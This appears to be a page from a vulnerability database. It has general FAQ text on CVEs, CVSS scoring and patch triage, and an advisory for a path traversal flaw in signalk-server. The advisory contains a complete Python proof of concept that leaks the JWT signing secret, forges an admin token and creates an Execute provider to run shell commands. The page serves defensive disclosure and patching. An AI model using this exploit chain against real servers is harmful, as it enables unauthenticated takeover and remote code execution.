How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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413,718

Total vulnerabilities in the database

Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution — signalk-server

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.

Details

Description

The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).

Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:

Read <config>/security.json — disclosing the JWT signing secret (512-hex) and user password hashes.
Forge an admin JWT — HS256-sign {"id":"admin"} with the disclosed secret; accepted by /skServer/loginStatus (userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware, src/tokensecurity.ts:593, applied at src/tokensecurity.ts:953).
Gain remote code execution — POST /skServer/providers (admin) accepts a provider of type Execute; packages/streams/src/execute.ts:93 executes it via spawn('sh', ['-c', command]) at creation time. The provider persists to settings.json and survives restarts.

On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.

Suggested fixes

Validate resourceId against a strict whitelist (for example, UUID format) in src/api/resources/index.ts before any storage call, including PUT/DELETE.
In FileStore.getResource/setResource/deleteResource, canonicalise with path.resolve() and reject results outside this.resources[type].path.
Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
Consider gating provider types that execute commands (Execute) behind an explicit opt-in.

Proof of concept

Fully local testbed. Start the server, enable allow_readonly=true, then run:

#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = &quot;http://127.0.0.1:3000&quot;
CMD  = &quot;id &gt; /tmp/sk-pwned&quot;

# 1) unauthenticated traversal read of security.json
p = &quot;/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json&quot;
sk = json.load(urllib.request.urlopen(BASE + p))[&quot;secretKey&quot;]

# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b&quot;=&quot;).decode()
h = b64(json.dumps({&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}).encode())
c = b64(json.dumps({&quot;id&quot;:&quot;admin&quot;,&quot;iat&quot;:int(time.time())}).encode())
tok = h+&quot;.&quot;+c+&quot;.&quot;+b64(hmac.new(sk.encode(), (h+&quot;.&quot;+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+&quot;/skServer/loginStatus&quot;, headers={&quot;Authorization&quot;:&quot;JWT &quot;+tok})
assert json.load(urllib.request.urlopen(req))[&quot;userLevel&quot;] == &quot;admin&quot;

# 3) add an Execute provider -&gt; spawn(&#039;sh&#039;,&#039;-c&#039;,CMD)
prov = {&quot;id&quot;:&quot;poc-rce&quot;,&quot;enabled&quot;:True,&quot;logging&quot;:False,&quot;type&quot;:&quot;Execute&quot;,
        &quot;options&quot;:{&quot;type&quot;:&quot;ws&quot;,&quot;dataType&quot;:&quot;SignalK&quot;,&quot;command&quot;:CMD}}
req = urllib.request.Request(BASE+&quot;/skServer/providers&quot;, data=json.dumps(prov).encode(),
                             headers={&quot;Authorization&quot;:&quot;JWT &quot;+tok,&quot;Content-Type&quot;:&quot;application/json&quot;}, method=&quot;POST&quot;)
print(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists

Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.

Impact

Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix

Published: Oct 30, 2026
Updated: Oct 31, 2026
GHSA: GHSA-4xm8-rg9h-jhq2
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

CWE-22

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	Affected versions
signalk-server	`>= 2.0.0, < 2.34.0`
@signalk / resources-provider	`>= 1.0.0, < 1.5.3`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.